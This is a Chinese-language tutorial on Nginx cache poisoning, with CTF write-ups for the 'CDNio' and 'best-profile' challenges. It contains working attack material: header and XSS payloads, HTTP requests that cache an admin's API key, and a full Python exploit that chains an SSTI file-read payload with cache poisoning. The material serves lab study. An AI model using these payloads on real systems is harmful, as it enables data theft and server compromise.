Nginx缓存投毒
基本学习
缓存投毒(Cache Poisoning)是一种攻击技术,攻击者通过特定手段让缓存系统存储恶意或敏感的响应内容,然后其他用户访问时会获取到这些被”污染”的缓存内容
但是我们需要先了解为什么需要缓存这个机制,
nginx 缓存机制
「全局缓存」一般指 能被多个用户 / 多个会话共享的缓存,不局限于本地机器
主要分 反向代理缓存 和 静态文件缓存 两类
反向代理缓存(proxy_cache)
这是最常用的缓存模式,用于缓存 后端应用的响应。
主要工作流程:
- 用户请求
/index.html
- Nginx 查找本地缓存目录是否已有缓存文件
- 如果有且未过期 → 直接返回缓存文件(命中)
- 如果没有 → 将请求转发给后端应用,拿到响应
- Nginx 将响应保存到本地缓存目录,并返回给用户
- 后续同样请求 → 直接命中缓存
一个例子如下
proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=mycache:10m inactive=60m max_size=1g;
server { location / { proxy_pass http://backend; proxy_cache mycache; proxy_cache_key "$scheme$proxy_host$request_uri"; proxy_cache_valid 200 302 10m; proxy_cache_valid 404 1m; }}
proxy_cache_path 定义缓存路径、大小、超时规则
keys_zone 用于缓存索引(存在内存里)
proxy_cache_key 定义缓存键(默认用 proxy_host$request_uri)
proxy_cache_valid 定义不同状态码的缓存时间
缓存键
设计思路是: 只缓存必要维度,避免 Cookie、User-Agent 这种可变因素污染缓存
这个缓存键我们需要深入一下
默认情况, Nginx 的缓存键是:
$scheme$proxy_host$request_uri
$scheme
:请求协议(http 或 https)$proxy_host
:代理的主机名(来自 proxy_pass)$request_uri
:完整请求 URI(路径+查询参数)
所以结果就是,不同的协议、不同的 host、不同的参数,都会形成不同的 key
还可以更细化什么的,比如说
proxy_cache_key "$scheme$request_method$host$request_uri";
加了一个$request_method
,意味着同一个 URL 的 GET 和 POST 会有不同的缓存。
我们知道了这个,接着就是缓存命中这个名词了
缓存命中
英文:cache hit
当客户端发起一个请求时,Nginx 会先算出这个请求对应的 缓存键(cache key),然后去本地缓存目录里找有没有对应的缓存文件:
- 命中缓存(Cache Hit)
找到了相同的缓存键,对应的缓存内容存在而且还没过期 → 直接把缓存返回给客户端。
👉 不需要访问后端服务器,速度快,减少源站压力。 - 未命中缓存(Cache Miss)
没找到缓存,或者缓存已过期/被清理 → Nginx 去源站获取最新数据,再存到缓存里。
关于这个命中问题,也会有许多问题,比如说缓存污染,缓存穿透这些,后续再学习
缓存储存问题
Nginx 缓存并不是单纯放在某一个地方,而是 “内存索引 + 磁盘文件” 结合
内存部分(索引区)
- 由
proxy_cache_path
里的keys_zone=mycache:10m
定义。 - 这 10m 内存里存放的是 缓存键 → 磁盘文件路径 → 元数据(比如过期时间、大小)。
- 类似一个“目录索引”,用来快速判断某个请求的 cache key 是否已经缓存过。
磁盘部分(缓存文件)
真正的缓存内容(HTTP 响应 Header + Body)会写到磁盘目录,比如:
🔍proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=mycache:10m inactive=60m max_size=1g;
→ /var/cache/nginx
就是磁盘存放缓存文件的地方。
levels=1:2
:说明会用哈希分级目录存储,避免单目录文件太多,比如:
/var/cache/nginx/a/3f/9c8123c7b1.cache
- 文件内容包括:
- HTTP 响应头(Content-Type、Status Code 等)
- 响应体(HTML、JSON、图片……)
投毒问题
缓存投毒的本质是:
让 恶意请求的结果 被当成”正常结果”缓存下来,后续所有用户访问时都直接命中这个带毒缓存。
所以一通分析下来,需要两个要点
- 缓存是全局共享的
- 缓存键设计有问题
缓存投毒分类
根据攻击手段和目标的不同,缓存投毒可以分为几个主要类型
1. Web Cache Poisoning(Web缓存投毒)
这是最经典的缓存投毒攻击,通过操控HTTP请求让缓存系统存储恶意响应。
- 原理:利用缓存键和实际处理逻辑的差异
- 目标:让恶意内容被缓存并影响其他用户
- 常见场景:CDN缓存、反向代理缓存
2. HTTP Header Pollution(HTTP头部污染)
通过注入恶意HTTP头部来影响缓存行为或应用逻辑。
- X-Forwarded-Host污染:修改Host头影响缓存键
- X-Original-URL污染:绕过路由逻辑
- 自定义头部注入:影响应用的业务逻辑
3. Parameter Pollution(参数污染)
利用URL参数的解析差异进行攻击。
- HTTP Parameter Pollution (HPP):同名参数的不同解析方式
- 查询参数顺序:不同的参数排序可能影响缓存键
- 编码差异:URL编码的不一致处理
4. Method Override Pollution(方法覆盖污染)
通过HTTP方法覆盖头部来改变请求的实际处理方式。
POST /api/user HTTP/1.1X-HTTP-Method-Override: DELETE
攻击向量详解
除了路径混淆,还有很多其他的攻击向量值得关注
1. HTTP头部攻击向量
# Host头部污染GET /profile HTTP/1.1Host: evil.comX-Forwarded-Host: target.com
# 自定义头部注入GET /api/data HTTP/1.1X-Custom-Header: <script>alert(1)</script>
2. 参数污染攻击向量
# 同名参数污染GET /search?q=normal&q=malicious HTTP/1.1
# 编码差异利用GET /path%2f..%2fadmin HTTP/1.1GET /path/..%2fadmin HTTP/1.1
3. 缓存键操控
# 如果缓存键只包含路径,不包含某些头部proxy_cache_key "$scheme$request_method$host$request_uri";
# 攻击者可以通过其他头部影响响应内容# 但缓存键相同,导致污染
4. 时间窗口攻击
。。。
防护措施
💡 记住:缓存投毒的核心在于”信任边界”的模糊。当缓存系统信任了不应该信任的用户输入时,攻击就可能发生。
具体场景—
CDNio
Race against time! Tweak CDN and caching magic to make web pages load at lightning speed. Minimize cache misses and watch your load times drop!
与时间赛跑!调整 CDN 和缓存魔法,让网页以闪电般的速度加载。最小化缓存未命中,看着你的加载时间下降!
进入页面,HTB 的题目页面都很好看
代码查看一下,flag 在 api_key 里面
顺着这个 api_key 找到主要漏洞逻辑
@main_bp.route('/<path:subpath>', methods=['GET'])@jwt_requireddef profile(subpath):
if re.match(r'.*^profile', subpath): # Django perfection
decoded_token = request.decoded_token
username = decoded_token.get('sub') if not username: return jsonify({"error": "Invalid token payload!"}), 401
conn = get_db_connection()
user = conn.execute( "SELECT id, username, email, api_key, created_at, password FROM users WHERE username = ?", (username,) ).fetchone() conn.close()
if user: return jsonify({ "id": user["id"], "username": user["username"], "email": user["email"], "password": user["password"], "api_key": user["api_key"], "created_at": user["created_at"] }), 200
else: return jsonify({"error": "User not found"}), 404
else: return jsonify({"error": "No match"}), 404
这题其实重点在于 nginx 缓存问题
具体看下面的配置
user nobody;worker_processes 1;pid /run/nginx.pid;
events { worker_connections 768;}
http { server_tokens off;
include /etc/nginx/mime.types; default_type application/octet-stream;
proxy_cache_path /var/cache/nginx keys_zone=cache:10m max_size=1g inactive=60m use_temp_path=off;
server { listen 1337;
server_name _;
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ { proxy_cache cache; proxy_cache_valid 200 3m; proxy_cache_use_stale error timeout updating; expires 3m; add_header Cache-Control "public";
proxy_pass http://unix:/tmp/gunicorn.sock; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme;
}
location / { proxy_pass http://unix:/tmp/gunicorn.sock; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme;
}
access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; }}
这里关键点在于,静态资源(如 .css 文件)会被缓存 3 分钟
location ~* \.(css|js|png|jpg|jpeg|gif|ico|svg|woff|woff2|ttf|eot)$ { proxy_cache cache; proxy_cache_valid 200 3m; proxy_cache_use_stale error timeout updating; expires 3m; add_header Cache-Control "public";}
我们实际上是先分析 flask 中蓝图的路由
这个 bot 文件- 访问用户指定的 URI ,管理员的响应会被缓存
@bot_bp.route('/visit', methods=['POST'])@jwt_requireddef visit():
data = request.get_json()
uri = data.get('uri')
if not uri: return jsonify({"message": "URI is required"}), 400
bot_thread(uri)
return jsonify({"message": f"Visiting URI: {uri}"}), 200
一切都说的通了,我们最终当 Bot(管理员)访问 profile/1.css 时:
触发缓存投毒 :
- 向 /visit 发送POST请求,URI为 profile/1.css
- Bot(admin身份)访问 GET /profile/1.css
- 由于路径匹配成功,Flask返回 200响应 ,包含admin的敏感信息:
🔍{
"id": 1,
"username": "admin",
"email": "admin@htb.local",
"password": "...",
"api_key": "HTB{f4k3_fl4g_f0r_t35t1ng}", // 这就是
flag!
"created_at": "..."
}
- Nginx将这个 200响应缓存 到 /var/cache/nginx/
由于是有登录的系统需要提前注册获取对应的 jwt
带着我们的Authorization: Bearer 去访问一个 uri
POST /visit HTTP/1.1Host: 94.237.55.43:49952Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: zh-US,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJieDMzNjYxIiwiaWF0IjoxNzU2OTA5MzM0LCJleHAiOjE3NTY5OTU3MzR9.0O_U6hBqKVesbgq9sk6UpBFKLz04g-gHWECAmu99JfsReferer: http://94.237.55.43:49952/registerAccept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Content-Type: application/json
{ "uri":"profile/1.css"}
访问我们刚刚缓存的
GET /profile/1.css HTTP/1.1Host: 94.237.55.43:49952Cache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: zh-US,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-CN;q=0.6Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJieDMzNjYxIiwiaWF0IjoxNzU2OTA5MzM0LCJleHAiOjE3NTY5OTU3MzR9.0O_U6hBqKVesbgq9sk6UpBFKLz04g-gHWECAmu99JfsReferer: http://94.237.55.43:49952/registerAccept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1
得到 flag
得到 flag
best-profile
oops, it’s my profile
主要是,nginx缓存机制和Flask ProxyFix的交互
代码审计,在app.py中
@app.after_requestdef set_last_ip(response): if current_user.is_authenticated: current_user.last_ip = request.remote_addr # 从X-Forwarded-For获取 db.session.commit() return response
@app.route("/ip_detail/<string:username>", methods=["GET"])def route_ip_detail(username): res = requests.get(f"http://127.0.0.1/get_last_ip/{username}") # 内部请求 last_ip = res.text # 获取完整HTML响应 template = f""" <h1>IP Detail</h1>
<div>{last_ip}</div> <!-- 直接插入用户可控内容 --> <p>Country:{country}</p>
""" return render_template_string(template) # SSTI触发点
同时在nginx配置中,可以利用nginx缓存投毒
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ { proxy_ignore_headers Cache-Control Expires Vary Set-Cookie; proxy_pass http://127.0.0.1:5000; proxy_cache static; proxy_cache_valid 200 302 30d; # 缓存30天!}
在登录时投发送ssti,访问/get_last_ip/test.jpg,触发nginx缓存
利用缓存投毒:访问/ip_detail/test.jpg,Flask从被投毒的缓存获取数据
import requests
def main(): username = "bx33661.jpg" base_url = "http://61.147.171.103:64936" password = "123456"
session = requests.Session()
headers = { "X-Forwarded-For": "{%set chr=lipsum.__globals__.__builtins__.chr%}{{lipsum.__globals__.__builtins__.open(chr(47)+dict(flag=a)|first|lower).read()}}" }
registration_data = { "username": username, "password": password, "bio": "bx", "submit": "Sign Up" }
login_data = { "username": username, "password": password, "submit": "Log In" }
try: print("=== Registration ===") register_response = session.post(f"{base_url}/register", data=registration_data) print(register_response.text)
print("\n=== Login ===") login_response = session.post(f"{base_url}/login", headers=headers, data=login_data) print(login_response.text)
print("\n=== Last IP ===") last_ip_response = session.get(f"{base_url}/get_last_ip/{username}") print(last_ip_response.text)
print("\n=== IP Details ===") ip_detail_response = session.get(f"{base_url}/ip_detail/{username}") print(ip_detail_response.text)
except requests.exceptions.RequestException as e: print(f"Request error: {e}") except Exception as e: print(f"Unexpected error: {e}")
if __name__ == "__main__": main()